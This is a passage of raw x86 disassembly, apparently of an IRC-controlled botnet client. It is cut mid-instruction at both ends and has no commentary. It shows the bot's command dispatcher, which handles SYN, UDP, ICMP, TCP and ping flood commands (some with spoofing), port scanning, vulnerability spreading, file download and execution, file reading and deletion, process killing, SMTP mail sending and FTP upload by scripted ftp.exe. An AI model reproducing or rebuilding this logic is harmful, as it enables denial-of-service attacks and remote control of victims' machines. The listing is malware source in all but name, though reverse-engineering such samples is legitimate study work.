ptr [ebp+18h] push offset aEnz_j ; "enz.j" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40D343 push dword ptr [ebp+18h] push offset aEnz_part ; "enz.part" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40D32D push dword ptr [ebp+18h] push offset aEnz_pt ; "enz.pt" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40D32D push dword ptr [ebp+18h] push offset aEnz_raw ; "enz.raw" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40D2F9 push dword ptr [ebp+18h] push offset aEnz_r ; "enz.r" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40D2F9 push dword ptr [ebp+18h] push offset aThreads_kill ; "threads.kill" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40D236 push dword ptr [ebp+18h] push offset aThreads_k ; "threads.k" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40D236 push dword ptr [ebp+18h] push offset aClone_quit ; "clone.quit" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40D18B push dword ptr [ebp+18h] push offset aClone_q ; "clone.q" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40D18B push dword ptr [ebp+18h] push offset aClone_rndnick ; "clone.rndnick" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40D143 push dword ptr [ebp+18h] push offset aClone_rn ; "clone.rn" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40D143 push dword ptr [ebp+18h] push offset aEnz_prefix ; "enz.prefix" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40D12E push dword ptr [ebp+18h] push offset aEnz_pr ; "enz.pr" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40D12E push dword ptr [ebp+18h] push offset aBox_open ; "box.open" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40D104 push dword ptr [ebp+18h] push offset aBox_o ; "box.o" call sub_410930 pop ecx test eax, eax pop ecx loc_40A898: ; DATA XREF: seg002:0041ECCCo ; seg002:0041ED10o ... jz loc_40D104 push dword ptr [ebp+18h] push offset aEnz_setserve ; "enz.setserve" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40D0DF push dword ptr [ebp+18h] push offset aEnz_se ; "enz.se" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40D0DF push dword ptr [ebp+18h] push offset aEnz_dns ; "enz.dns" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40D04D push dword ptr [ebp+18h] push offset aEnz_dn ; "enz.dn" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40D04D push dword ptr [ebp+18h] push offset aBox_killprocna ; "box.killprocname" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40D021 push dword ptr [ebp+18h] push offset aBox_kpn ; "box.kpn" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40D021 push dword ptr [ebp+18h] push offset aBox_prockillid ; "box.prockillid" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40CFC6 push dword ptr [ebp+18h] push offset aBox_pkid ; "box.pkid" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40CFC6 push dword ptr [ebp+18h] push offset aBox_delete ; "box.delete" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40CF8F push dword ptr [ebp+18h] push offset aBox_del ; "box.del" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40CF8F push dword ptr [ebp+18h] push offset aBox_filelist ; "box.filelist" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40CF74 push dword ptr [ebp+18h] push offset aBox_fl ; "box.fl" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40CF74 push dword ptr [ebp+18h] push offset aMirc_cmd ; "mirc.cmd" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40CF39 push dword ptr [ebp+18h] push offset aMirc_cmd ; "mirc.cmd" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40CF39 push dword ptr [ebp+18h] push offset aBox_readfile ; "box.readfile" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40CEA5 push dword ptr [ebp+18h] push offset aBox_rf ; "box.rf" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40CEA5 push dword ptr [ebp+18h] push offset aBox_net ; "box.net" call sub_410930 pop ecx test eax, eax pop ecx jnz loc_40ACAA cmp ds:dword_430860, ebx jz short loc_40AA3F cmp ds:dword_430888, ebx jz short loc_40AA3F push offset dword_42C2F8 jmp loc_40D0A7 ; --------------------------------------------------------------------------- loc_40AA3F: ; CODE XREF: seg000:0040AA2Bj ; seg000:0040AA33j cmp [ebp-0Ch], ebx jz loc_40D0B5 mov eax, [ebp+esi-98h] mov [ebp+8], ebx cmp eax, ebx mov [ebp+20h], eax jz short loc_40AA67 push eax push dword ptr [ebp-0Ch] call sub_410AE0 pop ecx mov [ebp+8], eax pop ecx loc_40AA67: ; CODE XREF: seg000:0040AA57j push edi push offset aStart ; "start" call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_40AACD cmp [ebp+20h], ebx jz short loc_40AAA1 push dword ptr [ebp+8] push 3 loc_40AA82: ; CODE XREF: seg000:0040AAE3j ; seg000:0040AAFBj ... call sub_40E402 push eax lea eax, [ebp-2E4h] push offset aS_1 ; "%s" push eax call sub_41050B add esp, 14h jmp loc_40D0B5 ; --------------------------------------------------------------------------- loc_40AAA1: ; CODE XREF: seg000:0040AA7Bj push dword ptr [ebp-4] push dword ptr [ebp-98h] push dword ptr [ebp+0Ch] call sub_40E6A9 add esp, 0Ch test eax, eax jz short loc_40AAC3 push offset dword_42C2C0 jmp loc_40D0A7 ; --------------------------------------------------------------------------- loc_40AAC3: ; CODE XREF: seg000:0040AAB7j push offset dword_42C28C jmp loc_40D0A7 ; --------------------------------------------------------------------------- loc_40AACD: ; CODE XREF: seg000:0040AA76j push edi push offset aStop ; "stop" call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_40AAE5 push dword ptr [ebp+8] push 4 jmp short loc_40AA82 ; --------------------------------------------------------------------------- loc_40AAE5: ; CODE XREF: seg000:0040AADCj push edi push offset aPause ; "pause" call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_40AAFD push dword ptr [ebp+8] push 5 jmp short loc_40AA82 ; --------------------------------------------------------------------------- loc_40AAFD: ; CODE XREF: seg000:0040AAF4j push edi push offset aContinue ; "continue" call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_40AB18 push dword ptr [ebp+8] push 6 jmp loc_40AA82 ; --------------------------------------------------------------------------- loc_40AB18: ; CODE XREF: seg000:0040AB0Cj push edi push offset aDelete ; "delete" call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_40AB33 push dword ptr [ebp+8] push 1 jmp loc_40AA82 ; --------------------------------------------------------------------------- loc_40AB33: ; CODE XREF: seg000:0040AB27j push edi push offset aShare ; "share" call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_40ABB0 cmp [ebp+20h], ebx jz short loc_40AB83 cmp [ebp-9B0h], bl jz short loc_40AB59 push ebx push dword ptr [ebp+20h] push 1 jmp short loc_40AB64 ; --------------------------------------------------------------------------- loc_40AB59: ; CODE XREF: seg000:0040AB4Fj push dword ptr [ebp+esi-94h] push dword ptr [ebp+20h] push ebx loc_40AB64: ; CODE XREF: seg000:0040AB57j call sub_40E7E6 push eax lea eax, [ebp-2E4h] push offset aS_1 ; "%s" push eax call sub_41050B add esp, 18h jmp loc_40D0B5 ; --------------------------------------------------------------------------- loc_40AB83: ; CODE XREF: seg000:0040AB47j push ebx push dword ptr [ebp-4] push dword ptr [ebp-98h] push dword ptr [ebp+0Ch] call sub_40E9DB add esp, 10h test eax, eax jz short loc_40ABA6 push offset dword_42C238 jmp loc_40D0A7 ; --------------------------------------------------------------------------- loc_40ABA6: ; CODE XREF: seg000:0040AB9Aj push offset dword_42C204 jmp loc_40D0A7 ; --------------------------------------------------------------------------- loc_40ABB0: ; CODE XREF: seg000:0040AB42j push edi push offset aUser ; "user" call sub_410930 pop ecx test eax, eax pop ecx jnz loc_40AC52 mov eax, [ebp+20h] cmp eax, ebx jz short loc_40AC25 cmp [ebp-9B0h], bl jz short loc_40ABE6 push dword ptr [ebp-4] push dword ptr [ebp-98h] push dword ptr [ebp+0Ch] push ebx push eax push 1 jmp short loc_40AC06 ; --------------------------------------------------------------------------- loc_40ABE6: ; CODE XREF: seg000:0040ABD2j push dword ptr [ebp-4] mov esi, [ebp+esi-94h] cmp esi, ebx push dword ptr [ebp-98h] push dword ptr [ebp+0Ch] jz short loc_40AC02 push esi push eax push ebx jmp short loc_40AC06 ; --------------------------------------------------------------------------- loc_40AC02: ; CODE XREF: seg000:0040ABFBj push ebx push eax push 2 loc_40AC06: ; CODE XREF: seg000:0040ABE4j ; seg000:0040AC00j call sub_40EAFC push eax lea eax, [ebp-2E4h] push offset aS_1 ; "%s" push eax call sub_41050B add esp, 24h jmp loc_40D0B5 ; --------------------------------------------------------------------------- loc_40AC25: ; CODE XREF: seg000:0040ABCAj push ebx push dword ptr [ebp-4] push dword ptr [ebp-98h] push dword ptr [ebp+0Ch] call sub_40F010 add esp, 10h test eax, eax jz short loc_40AC48 push offset dword_42C1C8 jmp loc_40D0A7 ; --------------------------------------------------------------------------- loc_40AC48: ; CODE XREF: seg000:0040AC3Cj push offset dword_42C198 jmp loc_40D0A7 ; --------------------------------------------------------------------------- loc_40AC52: ; CODE XREF: seg000:0040ABBFj push edi push offset aSend ; "send" call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_40ACA0 cmp [ebp+20h], ebx jz short loc_40AC96 push dword ptr [ebp-4] push dword ptr [ebp-98h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40F2C4 push eax lea eax, [ebp-2E4h] push offset aS_1 ; "%s" push eax call sub_41050B add esp, 1Ch jmp loc_40D0B5 ; --------------------------------------------------------------------------- loc_40AC96: ; CODE XREF: seg000:0040AC66j push offset dword_42C164 jmp loc_40D0A7 ; --------------------------------------------------------------------------- loc_40ACA0: ; CODE XREF: seg000:0040AC61j push offset dword_42C134 jmp loc_40D0A7 ; --------------------------------------------------------------------------- loc_40ACAA: ; CODE XREF: seg000:0040AA1Fj push dword ptr [ebp+18h] push offset aEnz_gethost ; "enz.gethost" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40CDC1 push dword ptr [ebp+18h] push offset aEnz_gh ; "enz.gh" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40CDC1 mov eax, [ebp+esi-98h] cmp eax, ebx mov [ebp+20h], eax jz loc_40980B push dword ptr [ebp+18h] push offset aEnz_addalias ; "enz.addalias" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40CD82 push dword ptr [ebp+18h] push offset aEnz_aa ; "enz.aa" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40CD82 push dword ptr [ebp+18h] push offset aEnz_privmsg ; "enz.privmsg" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40CD2C push dword ptr [ebp+18h] push offset aEnz_pm ; "enz.pm" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40CD2C push dword ptr [ebp+18h] push offset aEnz_action ; "enz.action" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40CCBE push dword ptr [ebp+18h] push offset aEnz_ac ; "enz.ac" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40CCBE push dword ptr [ebp+18h] push offset aEnz_cycle ; "enz.cycle" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40CC58 push dword ptr [ebp+18h] push offset aEnz_cy ; "enz.cy" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40CC58 push dword ptr [ebp+18h] push offset aEnz_mode ; "enz.mode" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40CC21 push dword ptr [ebp+18h] push offset aEnz_m ; "enz.m" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40CC21 push dword ptr [ebp+18h] push offset aClone_raw ; "clone.raw" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40CBB6 push dword ptr [ebp+18h] push offset aClone_ra ; "clone.ra" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40CBB6 push dword ptr [ebp+18h] push offset aClone_mode ; "clone.mode" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40CB34 push dword ptr [ebp+18h] push offset aClone_m ; "clone.m" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40CB34 push dword ptr [ebp+18h] push offset aClone_nick ; "clone.nick" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40CAC6 push dword ptr [ebp+18h] push offset aClone_ni ; "clone.ni" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40CAC6 push dword ptr [ebp+18h] push offset aClone_join ; "clone.join" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40CAA0 push dword ptr [ebp+18h] push offset aClone_j ; "clone.j" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40CAA0 push dword ptr [ebp+18h] push offset aClone_part ; "clone.part" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40CA40 push dword ptr [ebp+18h] push offset aClone_p ; "clone.p" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40CA40 push dword ptr [ebp+18h] push offset aEnz_repeat ; "enz.repeat" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40C97A push dword ptr [ebp+18h] push offset aEnz_rp ; "enz.rp" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40C97A push dword ptr [ebp+18h] push offset aEnz_delay ; "enz.delay" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40C8DF push dword ptr [ebp+18h] push offset aEnz_de ; "enz.de" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40C8DF push dword ptr [ebp+18h] push offset aDownload_up010 ; "download.up010" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40C727 push dword ptr [ebp+18h] push offset aDownload_010 ; "download.010" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40C727 push dword ptr [ebp+18h] push offset aBox_execute ; "box.execute" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40C694 push dword ptr [ebp+18h] push offset aBox_e ; "box.e" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40C694 push dword ptr [ebp+18h] push offset aBox_rename ; "box.rename" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40C610 push dword ptr [ebp+18h] push offset aBox_mv ; "box.mv" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40C610 push dword ptr [ebp+18h] push offset aDdos_icmp ; "ddos.icmp" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40C515 push dword ptr [ebp+18h] push offset aDdos_ic ; "ddos.ic" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40C515 mov eax, [ebp+esi-94h] cmp eax, ebx mov [ebp+8], eax jz loc_40980B push dword ptr [ebp+18h] push offset aClone_make ; "clone.make" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40C42A push dword ptr [ebp+18h] push offset aClone_start ; "clone.start" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40C42A push dword ptr [ebp+18h] push offset aDs_sy1 ; "ds.sy1" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40C325 push dword ptr [ebp+18h] push offset aDs_ack ; "ds.ack" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40C325 push dword ptr [ebp+18h] push offset aDs_rm ; "ds.rm" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40C325 push dword ptr [ebp+18h] push offset aDdos_synflood ; "ddos.synflood" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40C227 push dword ptr [ebp+18h] push offset aSy1 ; "sy1" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40C227 push dword ptr [ebp+18h] push offset aDonad_frwww ; "donad.frwww" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40C0E6 push dword ptr [ebp+18h] push offset aD1 ; "d1" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40C0E6 push dword ptr [ebp+18h] push offset aServer_redir_0 ; "server.redirect.on" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40BFEC push dword ptr [ebp+18h] push offset aServer_rd_on ; "server.rd.on" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40BFEC push dword ptr [ebp+18h] push offset aEnz_portscan ; "enz.portscan" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40BEF9 push dword ptr [ebp+18h] push offset aEnz_ps ; "enz.ps" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40BEF9 push dword ptr [ebp+18h] push offset aClone_privmsg ; "clone.privmsg" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40BE24 push dword ptr [ebp+18h] push offset aClone_pm ; "clone.pm" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40BE24 push dword ptr [ebp+18h] push offset aClone_action ; "clone.action" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40BD12 push dword ptr [ebp+18h] push offset aClone_ac ; "clone.ac" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40BD12 mov eax, [ebp+esi-90h] cmp eax, ebx mov [ebp+10h], eax jz loc_40980B push dword ptr [ebp+18h] push offset aVuln_start ; "vuln.start" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40B9B8 push dword ptr [ebp+18h] push offset aVvv ; "vvv" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40B9B8 push dword ptr [ebp+18h] push offset aDdos_udpflood ; "ddos.udpflood" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40B895 push dword ptr [ebp+18h] push offset aDdos_udpf ; "ddos.udpf" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40B895 push dword ptr [ebp+18h] push offset aPu ; "pu" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40B895 push dword ptr [ebp+18h] push offset aDdos_pingflood ; "ddos.pingflood" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40B762 push dword ptr [ebp+18h] push offset aDdos_pingf ; "ddos.pingf" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40B762 push dword ptr [ebp+18h] push offset aPg ; "pg" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40B762 push dword ptr [ebp+18h] push offset aDdos_tcpflood ; "ddos.tcpflood" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40B5CF push dword ptr [ebp+18h] push offset aUsa ; "usa" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40B5CF push dword ptr [ebp+18h] push offset aUtil_email ; "util.email" call sub_410930 pop ecx test eax, eax pop ecx jnz loc_40B3CA lea eax, [ebp-3E4h] push edi push eax call sub_411B70 push dword ptr [ebp+20h] call sub_410A7F push dword ptr [ebp+8] mov [ebp+20h], eax lea eax, [ebp-0D9Ch] push eax call sub_411B70 push dword ptr [ebp+10h] lea eax, [ebp-0B94h] push eax call sub_411B70 push offset asc_41F6B0 ; " " push offset a_ ; "_" push dword ptr [ebp+esi-8Ch] call sub_406C6E push eax lea eax, [ebp-564h] push eax call sub_411B70 add esp, 30h lea eax, [ebp-6F4h] push eax push 101h call ds:dword_430718 ; WSAStartup lea eax, [ebp-3E4h] push eax call ds:dword_430814 ; gethostbyname push 6 push 1 push 2 mov edi, eax call ds:dword_430810 ; socket push dword ptr [ebp+20h] mov esi, eax mov word ptr [ebp-0D8h], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp-0D4h], eax call ds:dword_430794 ; ntohs mov [ebp-0D6h], ax lea eax, [ebp-564h] push eax lea eax, [ebp-0D9Ch] push eax lea eax, [ebp-564h] push eax lea eax, [ebp-0B94h] push eax lea eax, [ebp-0D9Ch] push eax lea eax, [ebp-159Ch] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_41050B add esp, 1Ch lea eax, [ebp-0D8h] push 10h push eax push esi call ds:dword_430740 ; connect mov edi, 100h push ebx lea eax, [ebp-0C98h] push edi push eax push esi call ds:dword_4307AC ; recv lea eax, [ebp-0C98h] push ebx push eax call sub_410B60 pop ecx push eax lea eax, [ebp-159Ch] push eax push esi call ds:dword_4307E0 ; send push ebx lea eax, [ebp-0C98h] push edi push eax push esi call ds:dword_4307AC ; recv push esi call ds:dword_430828 ; closesocket call ds:dword_430700 ; WSACleanup lea eax, [ebp-0B94h] push eax push offset unk_42BE00 jmp loc_40CF25 ; --------------------------------------------------------------------------- loc_40B3CA: ; CODE XREF: seg000:0040B26Cj push dword ptr [ebp+18h] push offset aUtil_httpcon ; "util.httpcon" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40B59E push dword ptr [ebp+18h] push offset aUtil_hcon ; "util.hcon" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40B59E mov esi, [ebp+esi-8Ch] cmp esi, ebx jz loc_40980B push dword ptr [ebp+18h] push offset aFtp_upload ; "ftp.upload" call sub_410930 pop ecx test eax, eax pop ecx jnz loc_40E148 push 4 push esi call sub_408661 pop ecx test eax, eax pop ecx jnz short loc_40B473 push esi push offset dword_42BDA4 loc_40B432: ; CODE XREF: seg000:0040B753j ; seg000:0040BD0Dj ... lea eax, [ebp-2E4h] push eax call sub_41050B add esp, 0Ch loc_40B441: ; CODE XREF: seg000:0040B737j ; seg000:0040BCF1j ... cmp [ebp-8], ebx jnz short loc_40B462 push ebx push dword ptr [ebp-4] loc_40B44A: ; CODE XREF: seg000:0040C320j lea eax, [ebp-2E4h] push eax push dword ptr [ebp-98h] push dword ptr [ebp+0Ch] loc_40B45A: ; CODE XREF: seg000:0040D972j call sub_40E367 add esp, 14h loc_40B462: ; CODE XREF: seg000:0040B444j ; seg000:0040B886j ... lea eax, [ebp-2E4h] push eax call sub_407E0E jmp loc_40E2D5 ; --------------------------------------------------------------------------- loc_40B473: ; CODE XREF: seg000:0040B42Aj call ds:dword_41C04C ; GetTickCount push eax call sub_41055D pop ecx call sub_410567 push 9 cdq pop ecx idiv ecx push edx call sub_410567 push 63h cdq pop ecx idiv ecx push edx call sub_410567 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp-0C9Ch] push edx push eax lea eax, [ebp-0B98h] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_41050B lea eax, [ebp-0B98h] push offset aAb ; "ab" push eax call sub_411B4E add esp, 20h cmp eax, ebx mov [ebp+2Ch], eax jz loc_40980B push esi push dword ptr [ebp+10h] push dword ptr [ebp+8] push dword ptr [ebp+20h] push edi push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_41271D push dword ptr [ebp+2Ch] call sub_4119F0 lea eax, [ebp-0B98h] push eax lea eax, [ebp-3E4h] push offset aSS_3 ; "-s:%s" push eax call sub_41050B add esp, 2Ch lea eax, [ebp-3E4h] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call ds:dword_430714 ; ShellExecuteA test eax, eax push edi push esi jz short loc_40B53D push offset dword_42BD24 jmp short loc_40B542 ; --------------------------------------------------------------------------- loc_40B53D: ; CODE XREF: seg000:0040B534j push offset dword_42BCE4 loc_40B542: ; CODE XREF: seg000:0040B53Bj call sub_41050B add esp, 0Ch cmp [ebp-8], ebx jnz short loc_40B56B push ebx lea eax, [ebp-2E4h] push dword ptr [ebp-4] push eax push dword ptr [ebp-98h] push dword ptr [ebp+0Ch] call sub_40E367 add esp, 14h loc_40B56B: ; CODE XREF: seg000:0040B54Dj lea eax, [ebp-2E4h] push eax call sub_407E0E loc_40B577: ; CODE XREF: seg000:0040B59Cj lea eax, [ebp-0B98h] push 4 push eax call sub_408661 add esp, 0Ch test eax, eax jz loc_40980B lea eax, [ebp-0B98h] push eax call sub_4126F3 jmp short loc_40B577 ; --------------------------------------------------------------------------- loc_40B59E: ; CODE XREF: seg000:0040B3DBj ; seg000:0040B3F2j push dword ptr [ebp+esi-8Ch] push dword ptr [ebp+10h] push dword ptr [ebp+8] push dword ptr [ebp+20h] call sub_410A7F pop ecx push eax push edi push dword ptr [ebp-8] push dword ptr [ebp-4] push dword ptr [ebp-98h] push dword ptr [ebp+0Ch] call sub_4048A1 jmp loc_40E145 ; --------------------------------------------------------------------------- loc_40B5CF: ; CODE XREF: seg000:0040B23Ej ; seg000:0040B255j mov esi, 80h push edi lea eax, [ebp-680h] push esi push eax call sub_410A8A lea eax, [ebp-680h] push eax push offset aSyn ; "syn" call sub_410930 add esp, 14h test eax, eax jz short loc_40B632 lea eax, [ebp-680h] push eax push offset aAck ; "ack" call sub_410930 pop ecx test eax, eax pop ecx jz short loc_40B632 lea eax, [ebp-680h] push eax push offset aRandom ; "random" call sub_410930 pop ecx test eax, eax pop ecx jz short loc_40B632 push offset dword_42BCA8 jmp loc_40D67E ; --------------------------------------------------------------------------- loc_40B632: ; CODE XREF: seg000:0040B5F8j ; seg000:0040B60Fj ... push dword ptr [ebp+10h] call sub_410A7F cmp eax, ebx pop ecx mov [ebp-578h], eax jle loc_40B758 push edi lea eax, [ebp-680h] push esi push eax call sub_410A8A push dword ptr [ebp+20h] lea eax, [ebp-700h] push esi push eax call sub_410A8A push dword ptr [ebp+8] call sub_410A7F mov [ebp-57Ch], eax xor eax, eax cmp [ebp-9A2h], bl push dword ptr [ebp-98h] setnz al mov [ebp-574h], eax mov eax, [ebp+0Ch] mov [ebp-704h], eax lea eax, [ebp-600h] push esi push eax call sub_410A8A mov eax, [ebp-4] add esp, 28h cmp [ebp-574h], ebx mov [ebp-570h], eax mov eax, [ebp-8] mov [ebp-56Ch], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_40B6C9 mov eax, offset aNormal ; "Normal" loc_40B6C9: ; CODE XREF: seg000:0040B6C2j push dword ptr [ebp+10h] push dword ptr [ebp+8] push dword ptr [ebp+20h] push edi push eax push offset dword_42BC50 lea eax, [ebp-2E4h] push 200h push eax call sub_410A8A push ebx lea eax, [ebp-2E4h] push 0Ch push eax call sub_40FFB7 add esp, 2Ch mov [ebp-580h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-704h] push ebx push eax push offset loc_401BD6 push ebx push ebx call ds:dword_41C06C ; CreateThread mov ecx, [ebp-580h] imul ecx, 234h cmp eax, ebx mov ds:dword_4358EC[ecx], eax jz short loc_40B747 loc_40B731: ; CODE XREF: seg000:0040B745j cmp [ebp-568h], ebx jnz loc_40B441 push 32h call ds:dword_41C058 ; Sleep jmp short loc_40B731 ; --------------------------------------------------------------------------- loc_40B747: ; CODE XREF: seg000:0040B72Fj call ds:dword_41C068 ; RtlGetLastWin32Error push eax push offset dword_42BC04 jmp loc_40B432 ; --------------------------------------------------------------------------- loc_40B758: ; CODE XREF: seg000:0040B643j push offset dword_42BBB8 jmp loc_40D67E ; --------------------------------------------------------------------------- loc_40B762: ; CODE XREF: seg000:0040B1F9j ; seg000:0040B210j ... cmp ds:dword_430880, ebx mov esi, [ebp+0Ch] jnz loc_40B86A mov eax, [ebp-8] push 7Fh mov [ebp-2ECh], eax mov eax, [ebp-4] mov [ebp-2F0h], eax lea eax, [ebp-384h] push edi push eax call sub_411D00 push dword ptr [ebp+20h] call sub_410A7F push dword ptr [ebp+8] mov [ebp-304h], eax call sub_410A7F push dword ptr [ebp+10h] mov [ebp-300h], eax call sub_410A7F push 7Fh mov [ebp-2FCh], eax push dword ptr [ebp-98h] lea eax, [ebp-404h] push eax call sub_411D00 push dword ptr [ebp-2FCh] lea eax, [ebp-384h] mov [ebp-408h], esi push dword ptr [ebp-300h] push eax lea eax, [ebp-2E4h] push dword ptr [ebp-304h] push offset unk_42BB5C push eax call sub_41050B push ebx lea eax, [ebp-2E4h] push 0Eh push eax call sub_40FFB7 add esp, 48h mov [ebp-2F4h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-408h] push ebx push eax push offset loc_4074DB push ebx push ebx call ds:dword_41C06C ; CreateThread mov ecx, [ebp-2F4h] imul ecx, 234h cmp eax, ebx mov ds:dword_4358EC[ecx], eax jz short loc_40B859 loc_40B847: ; CODE XREF: seg000:0040B857j cmp [ebp-2E8h], ebx jnz short loc_40B883 push 32h call ds:dword_41C058 ; Sleep jmp short loc_40B847 ; --------------------------------------------------------------------------- loc_40B859: ; CODE XREF: seg000:0040B845j call ds:dword_41C068 ; RtlGetLastWin32Error push eax push offset unk_42BB10 jmp loc_40C419 ; --------------------------------------------------------------------------- loc_40B86A: ; CODE XREF: seg000:0040B76Bj push 1FFh lea eax, [ebp-2E4h] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_411D00 loc_40B880: ; CODE XREF: seg000:0040C425j add esp, 0Ch loc_40B883: ; CODE XREF: seg000:0040B84Dj ; seg000:0040B997j ... cmp [ebp-8], ebx jnz loc_40B462 push ebx push dword ptr [ebp-4] jmp loc_40D964 ; --------------------------------------------------------------------------- loc_40B895: ; CODE XREF: seg000:0040B1B4j ; seg000:0040B1CBj ... mov eax, [ebp-8] push 7Fh mov [ebp-2ECh], eax mov eax, [ebp-4] mov [ebp-2F0h], eax lea eax, [ebp-384h] push edi push eax call sub_411D00 push dword ptr [ebp+20h] call sub_410A7F push dword ptr [ebp+8] mov [ebp-304h], eax call sub_410A7F push dword ptr [ebp+10h] mov [ebp-300h], eax call sub_410A7F mov esi, [ebp+esi-8Ch] add esp, 18h cmp esi, ebx mov [ebp-2FCh], eax jz short loc_40B8FD push esi call sub_410A7F pop ecx mov [ebp-2F8h], eax jmp short loc_40B903 ; --------------------------------------------------------------------------- loc_40B8FD: ; CODE XREF: seg000:0040B8ECj mov [ebp-2F8h], ebx loc_40B903: ; CODE XREF: seg000:0040B8FBj push 7Fh lea eax, [ebp-404h] push dword ptr [ebp-98h] push eax call sub_411D00 push dword ptr [ebp-2FCh] mov esi, [ebp+0Ch] lea eax, [ebp-384h] mov [ebp-408h], esi push dword ptr [ebp-300h] push eax lea eax, [ebp-2E4h] push dword ptr [ebp-304h] push offset dword_42BA9C push eax call sub_41050B push ebx lea eax, 